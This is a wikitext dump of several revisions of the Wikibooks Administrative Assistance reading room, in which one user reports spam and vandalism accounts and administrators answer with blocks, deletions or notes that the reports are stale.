[[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 04:08, 13 September 2026 (UTC) :{{done}} [[User:JackPotte|JackPotte]] ([[User talk:JackPotte|discuss]] • [[Special:Contributions/JackPotte|contribs]]) 06:39, 13 September 2026 (UTC) == Happyherbal26 reported by MathXplore == * {{userlinks|Happyherbal26}} Link spam, [[Special:AbuseLog/315518]] <!-- USERREPORTED:/Happyherbal26/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:37, 14 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 14:02, 14 September 2026 (UTC) == Shahadotdl reported by MathXplore == * {{userlinks|Shahadotdl}} Link spam, [[Special:AbuseLog/315516]] <!-- USERREPORTED:/Shahadotdl/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:37, 14 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 14:02, 14 September 2026 (UTC) == Sonarbanglahc reported by MathXplore == * {{userlinks|Sonarbanglahc}} Spam <!-- USERREPORTED:/Sonarbanglahc/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:41, 15 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:47, 15 September 2026 (UTC) == Mehedii1234 reported by MathXplore == * {{userlinks|Mehedii1234}} Spam <!-- USERREPORTED:/Mehedii1234/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:42, 15 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:46, 15 September 2026 (UTC) == BhardwajGardening reported by MathXplore == * {{userlinks|BhardwajGardening}} Link spam, [[Special:AbuseLog/315583]] <!-- USERREPORTED:/BhardwajGardening/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:02, 17 September 2026 (UTC) ckhuh5fbn64pr3603of7rysw72pe74w 4670635 4670631 2026-09-17T13:03:21Z MathXplore 3097823 Reporting Manusheikh 4670635 wikitext text/x-wiki __NEWSECTIONLINK__ {{Discussion Rooms}} {{shortcut|WB:AN|WB:AA}} {{TOC left}} {{User:MiszaBot/config |archive = Wikibooks:Reading room/Administrative Assistance/Archives/%(year)d/%(monthname)s |algo = old(14d) |counter = 1 |minthreadstoarchive = 1 |minthreadsleft = 1 }} {{ombox|type=content|text='''To request a rename or usurpation''', go to the global request page at Meta [[meta:SRUC|here]].<br />''Please do not post those requests here!''}} {{Clear}} Welcome to the '''Administrative Assistance reading room'''. You can request assistance from [[WB:ADMIN|administrators]] for handling a variety of problems here and alert them about problems which may require special actions not normally used during regular content editing. Please be patient as administrators are often quite busy with either their own projects or trying to perform general maintenance and cleanup. You can deal with most vandalism yourself: [[Wikibooks:Dealing with vandalism|fix it]], then [[Wikibooks:Templates/User_notices|warn the user]]. If there is repeated vandalism by one user, lots of vandalism on a single page, or vandalism from many users, tell an admin here, or in [irc://irc.freenode.net/wikibooks #wikibooks] (say <code>!admin</code> to get attention). For more general questions and assistance that doesn't require an administrator, please use the [[WB:HELP|Assistance Reading Room]]. {{clear}} [[Category:Reading room]] == Gloriagulshan reported by MathXplore == * {{userlinks|Gloriagulshan}} [[:w:Wikipedia:Sockpuppet investigations/Kagoz]] ([[Special:Contributions/Tikapara]], [[Wikibooks:Reading_room/Administrative_Assistance/Archives/2025/September#Tikapara_reported_by_MathXplore]]), created page [[Introduction to Filmmaking]] Contributed by Ali Zulfikar Zahedi ([[:w:Ali Zulfikar Zahedi]], [[:w:simple:Ali Zulfikar Zahedi]]) <!-- USERREPORTED:/Gloriagulshan/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 03:56, 29 August 2026 (UTC) :I believe this page is intended as instructional material for learning filmmaking rather than as an encyclopedic article. I will revise the page to focus on practical filmmaking concepts, methods, and processes in accordance with the purpose of Wikibooks. [[User:Gloriagulshan|Gloriagulshan]] ([[User talk:Gloriagulshan|discuss]] • [[Special:Contributions/Gloriagulshan|contribs]]) 04:20, 29 August 2026 (UTC) : Cc: {{ping|SHB2000|MarcGarver}} [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 04:41, 29 August 2026 (UTC) ::I see the account is glocked, and there are no sleepers that aren't already locked, so nothing more to do. [[User:MarcGarver|MarcGarver]] ([[User talk:MarcGarver|discuss]] • [[Special:Contributions/MarcGarver|contribs]]) 11:18, 3 September 2026 (UTC) == Mohansai00116 reported by MathXplore == * {{userlinks|Mohansai00116}} Link spam, [[Special:AbuseLog/315335]] <!-- USERREPORTED:/Mohansai00116/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:09, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:04, 3 September 2026 (UTC) == Fatemai6 reported by MathXplore == * {{userlinks|Fatemai6}} Link spam, [[Special:AbuseLog/315329]] <!-- USERREPORTED:/Fatemai6/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:10, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Kamrulhasan147 reported by MathXplore == * {{userlinks|Kamrulhasan147}} Link spam, [[Special:AbuseLog/315327]], [[Special:Contributions/Kamrulhasan142]] <!-- USERREPORTED:/Kamrulhasan147/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:12, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Kamrulhasan142 reported by MathXplore == * {{userlinks|Kamrulhasan142}} Link spam, [[Special:AbuseLog/315295]], [[Special:Contributions/Kamrulhasan147]] <!-- USERREPORTED:/Kamrulhasan142/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:13, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Twenty7incgs reported by MathXplore == * {{userlinks|Twenty7incgs}} Link spam, [[Special:AbuseLog/315323]] <!-- USERREPORTED:/Twenty7incgs/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:14, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Tailleash reported by MathXplore == * {{userlinks|Tailleash}} Link spam, [[Special:AbuseLog/315318]] <!-- USERREPORTED:/Tailleash/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:15, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Md Akash Mia12 reported by MathXplore == * {{userlinks|Md Akash Mia12}} Link spam, [[Special:AbuseLog/315299]], [[Special:AbuseLog/315298]] <!-- USERREPORTED:/Md Akash Mia12/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:17, 2 September 2026 (UTC) : {{done|Page deleted}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:03, 3 September 2026 (UTC) == Vapesitefiftybar reported by MathXplore == * {{userlinks|Vapesitefiftybar}} Link spam, [[Special:AbuseLog/315338]] <!-- USERREPORTED:/Vapesitefiftybar/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:40, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Myteethtime1 reported by MathXplore == * {{userlinks|Myteethtime1}} Spam <!-- USERREPORTED:/Myteethtime1/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:54, 4 September 2026 (UTC) : {{Done}} by MarcGarver. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 19:28, 4 September 2026 (UTC) == Rajstartupservices reported by MathXplore == * {{userlinks|Rajstartupservices}} Link spam, [[Special:AbuseLog/315363]] <!-- USERREPORTED:/Rajstartupservices/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 14:33, 4 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 19:28, 4 September 2026 (UTC) == Reazulkarim545456 reported by MathXplore == * {{userlinks|Reazulkarim545456}} Link spam, [[Special:AbuseLog/315377]] <!-- USERREPORTED:/Reazulkarim545456/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 06:39, 6 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:19, 6 September 2026 (UTC) == Fahmidafy reported by MathXplore == * {{userlinks|Fahmidafy}} Link spam, [[Special:AbuseLog/315378]] <!-- USERREPORTED:/Fahmidafy/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 06:40, 6 September 2026 (UTC) : The filter stopped them three times, no action taken. Please re-report if they continue spamming. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:20, 6 September 2026 (UTC) == Grow spark digital reported by MathXplore == * {{userlinks|Grow spark digital}} Link spam, [[Special:AbuseLog/315381]] <!-- USERREPORTED:/Grow spark digital/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 06:42, 6 September 2026 (UTC) : Only one filter hit, seems stale. Please re-report if they continue to spam. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:49, 6 September 2026 (UTC) == Korigosnacks reported by MathXplore == * {{userlinks|Korigosnacks}} Link spam, [[Special:AbuseLog/315383]] <!-- USERREPORTED:/Korigosnacks/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:32, 6 September 2026 (UTC) : Stale after only two filter hits and no edits. Please re-report if they spam later. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:56, 6 September 2026 (UTC) == Athoyislam reported by MathXplore == * {{userlinks|Athoyislam}} Spam <!-- USERREPORTED:/Athoyislam/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:47, 7 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 11:31, 7 September 2026 (UTC) == Jamal123lll reported by MathXplore == * {{userlinks|Jamal123lll}} Link spam, [[Special:AbuseLog/315402]] <!-- USERREPORTED:/Jamal123lll/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:48, 7 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 11:32, 7 September 2026 (UTC) == Idontknowidkh reported by MathXplore == * {{userlinks|Idontknowidkh}} online shopping spam, [[Special:AbuseLog/315400]] <!-- USERREPORTED:/Idontknowidkh/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:49, 7 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 11:33, 7 September 2026 (UTC) == Ridhisharma1999 reported by MathXplore == * {{userlinks|Ridhisharma1999}} Link spam, [[Special:AbuseLog/315435]] <!-- USERREPORTED:/Ridhisharma1999/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:01, 9 September 2026 (UTC) :{{Done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 12:02, 9 September 2026 (UTC) == Thenaoriudaipur reported by MathXplore == * {{userlinks|Thenaoriudaipur}} Link spam, [[Special:AbuseLog/315473]] <!-- USERREPORTED:/Thenaoriudaipur/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:47, 10 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:49, 10 September 2026 (UTC) == Networkkingss reported by MathXplore == * {{userlinks|Networkkingss}} Link spam, [[Special:AbuseLog/315458]] <!-- USERREPORTED:/Networkkingss/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:50, 10 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:49, 10 September 2026 (UTC) == ~2026-49226-92 reported by MathXplore == * {{anonlinks|~2026-49226-92}} Vandalism <!-- USERREPORTED:/~2026-49226-92/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:57, 10 September 2026 (UTC) : {{done}}. I also nuked all pages created by this user and their connected temporary accounts based on their associated IP(s). [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:48, 10 September 2026 (UTC) == ~2026-49632-08 reported by MathXplore == * {{anonlinks|~2026-49632-08}} Spam <!-- USERREPORTED:/~2026-49632-08/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 04:08, 13 September 2026 (UTC) :{{done}} [[User:JackPotte|JackPotte]] ([[User talk:JackPotte|discuss]] • [[Special:Contributions/JackPotte|contribs]]) 06:39, 13 September 2026 (UTC) == Happyherbal26 reported by MathXplore == * {{userlinks|Happyherbal26}} Link spam, [[Special:AbuseLog/315518]] <!-- USERREPORTED:/Happyherbal26/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:37, 14 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 14:02, 14 September 2026 (UTC) == Shahadotdl reported by MathXplore == * {{userlinks|Shahadotdl}} Link spam, [[Special:AbuseLog/315516]] <!-- USERREPORTED:/Shahadotdl/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:37, 14 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 14:02, 14 September 2026 (UTC) == Sonarbanglahc reported by MathXplore == * {{userlinks|Sonarbanglahc}} Spam <!-- USERREPORTED:/Sonarbanglahc/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:41, 15 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:47, 15 September 2026 (UTC) == Mehedii1234 reported by MathXplore == * {{userlinks|Mehedii1234}} Spam <!-- USERREPORTED:/Mehedii1234/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:42, 15 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:46, 15 September 2026 (UTC) == BhardwajGardening reported by MathXplore == * {{userlinks|BhardwajGardening}} Link spam, [[Special:AbuseLog/315583]] <!-- USERREPORTED:/BhardwajGardening/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:02, 17 September 2026 (UTC) == Manusheikh reported by MathXplore == * {{userlinks|Manusheikh}} Link spam, [[Special:AbuseLog/315575]] <!-- USERREPORTED:/Manusheikh/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:03, 17 September 2026 (UTC) q0wt64ponv3ifeuweguz0jfuohydlgs 4670639 4670635 2026-09-17T13:05:19Z MathXplore 3097823 Reporting Wrankerseo 4670639 wikitext text/x-wiki __NEWSECTIONLINK__ {{Discussion Rooms}} {{shortcut|WB:AN|WB:AA}} {{TOC left}} {{User:MiszaBot/config |archive = Wikibooks:Reading room/Administrative Assistance/Archives/%(year)d/%(monthname)s |algo = old(14d) |counter = 1 |minthreadstoarchive = 1 |minthreadsleft = 1 }} {{ombox|type=content|text='''To request a rename or usurpation''', go to the global request page at Meta [[meta:SRUC|here]].<br />''Please do not post those requests here!''}} {{Clear}} Welcome to the '''Administrative Assistance reading room'''. You can request assistance from [[WB:ADMIN|administrators]] for handling a variety of problems here and alert them about problems which may require special actions not normally used during regular content editing. Please be patient as administrators are often quite busy with either their own projects or trying to perform general maintenance and cleanup. You can deal with most vandalism yourself: [[Wikibooks:Dealing with vandalism|fix it]], then [[Wikibooks:Templates/User_notices|warn the user]]. If there is repeated vandalism by one user, lots of vandalism on a single page, or vandalism from many users, tell an admin here, or in [irc://irc.freenode.net/wikibooks #wikibooks] (say <code>!admin</code> to get attention). For more general questions and assistance that doesn't require an administrator, please use the [[WB:HELP|Assistance Reading Room]]. {{clear}} [[Category:Reading room]] == Gloriagulshan reported by MathXplore == * {{userlinks|Gloriagulshan}} [[:w:Wikipedia:Sockpuppet investigations/Kagoz]] ([[Special:Contributions/Tikapara]], [[Wikibooks:Reading_room/Administrative_Assistance/Archives/2025/September#Tikapara_reported_by_MathXplore]]), created page [[Introduction to Filmmaking]] Contributed by Ali Zulfikar Zahedi ([[:w:Ali Zulfikar Zahedi]], [[:w:simple:Ali Zulfikar Zahedi]]) <!-- USERREPORTED:/Gloriagulshan/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 03:56, 29 August 2026 (UTC) :I believe this page is intended as instructional material for learning filmmaking rather than as an encyclopedic article. I will revise the page to focus on practical filmmaking concepts, methods, and processes in accordance with the purpose of Wikibooks. [[User:Gloriagulshan|Gloriagulshan]] ([[User talk:Gloriagulshan|discuss]] • [[Special:Contributions/Gloriagulshan|contribs]]) 04:20, 29 August 2026 (UTC) : Cc: {{ping|SHB2000|MarcGarver}} [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 04:41, 29 August 2026 (UTC) ::I see the account is glocked, and there are no sleepers that aren't already locked, so nothing more to do. [[User:MarcGarver|MarcGarver]] ([[User talk:MarcGarver|discuss]] • [[Special:Contributions/MarcGarver|contribs]]) 11:18, 3 September 2026 (UTC) == Mohansai00116 reported by MathXplore == * {{userlinks|Mohansai00116}} Link spam, [[Special:AbuseLog/315335]] <!-- USERREPORTED:/Mohansai00116/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:09, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:04, 3 September 2026 (UTC) == Fatemai6 reported by MathXplore == * {{userlinks|Fatemai6}} Link spam, [[Special:AbuseLog/315329]] <!-- USERREPORTED:/Fatemai6/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:10, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Kamrulhasan147 reported by MathXplore == * {{userlinks|Kamrulhasan147}} Link spam, [[Special:AbuseLog/315327]], [[Special:Contributions/Kamrulhasan142]] <!-- USERREPORTED:/Kamrulhasan147/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:12, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Kamrulhasan142 reported by MathXplore == * {{userlinks|Kamrulhasan142}} Link spam, [[Special:AbuseLog/315295]], [[Special:Contributions/Kamrulhasan147]] <!-- USERREPORTED:/Kamrulhasan142/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:13, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Twenty7incgs reported by MathXplore == * {{userlinks|Twenty7incgs}} Link spam, [[Special:AbuseLog/315323]] <!-- USERREPORTED:/Twenty7incgs/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:14, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Tailleash reported by MathXplore == * {{userlinks|Tailleash}} Link spam, [[Special:AbuseLog/315318]] <!-- USERREPORTED:/Tailleash/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:15, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Md Akash Mia12 reported by MathXplore == * {{userlinks|Md Akash Mia12}} Link spam, [[Special:AbuseLog/315299]], [[Special:AbuseLog/315298]] <!-- USERREPORTED:/Md Akash Mia12/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:17, 2 September 2026 (UTC) : {{done|Page deleted}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:03, 3 September 2026 (UTC) == Vapesitefiftybar reported by MathXplore == * {{userlinks|Vapesitefiftybar}} Link spam, [[Special:AbuseLog/315338]] <!-- USERREPORTED:/Vapesitefiftybar/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:40, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Myteethtime1 reported by MathXplore == * {{userlinks|Myteethtime1}} Spam <!-- USERREPORTED:/Myteethtime1/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:54, 4 September 2026 (UTC) : {{Done}} by MarcGarver. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 19:28, 4 September 2026 (UTC) == Rajstartupservices reported by MathXplore == * {{userlinks|Rajstartupservices}} Link spam, [[Special:AbuseLog/315363]] <!-- USERREPORTED:/Rajstartupservices/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 14:33, 4 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 19:28, 4 September 2026 (UTC) == Reazulkarim545456 reported by MathXplore == * {{userlinks|Reazulkarim545456}} Link spam, [[Special:AbuseLog/315377]] <!-- USERREPORTED:/Reazulkarim545456/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 06:39, 6 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:19, 6 September 2026 (UTC) == Fahmidafy reported by MathXplore == * {{userlinks|Fahmidafy}} Link spam, [[Special:AbuseLog/315378]] <!-- USERREPORTED:/Fahmidafy/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 06:40, 6 September 2026 (UTC) : The filter stopped them three times, no action taken. Please re-report if they continue spamming. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:20, 6 September 2026 (UTC) == Grow spark digital reported by MathXplore == * {{userlinks|Grow spark digital}} Link spam, [[Special:AbuseLog/315381]] <!-- USERREPORTED:/Grow spark digital/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 06:42, 6 September 2026 (UTC) : Only one filter hit, seems stale. Please re-report if they continue to spam. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:49, 6 September 2026 (UTC) == Korigosnacks reported by MathXplore == * {{userlinks|Korigosnacks}} Link spam, [[Special:AbuseLog/315383]] <!-- USERREPORTED:/Korigosnacks/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:32, 6 September 2026 (UTC) : Stale after only two filter hits and no edits. Please re-report if they spam later. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:56, 6 September 2026 (UTC) == Athoyislam reported by MathXplore == * {{userlinks|Athoyislam}} Spam <!-- USERREPORTED:/Athoyislam/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:47, 7 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 11:31, 7 September 2026 (UTC) == Jamal123lll reported by MathXplore == * {{userlinks|Jamal123lll}} Link spam, [[Special:AbuseLog/315402]] <!-- USERREPORTED:/Jamal123lll/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:48, 7 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User 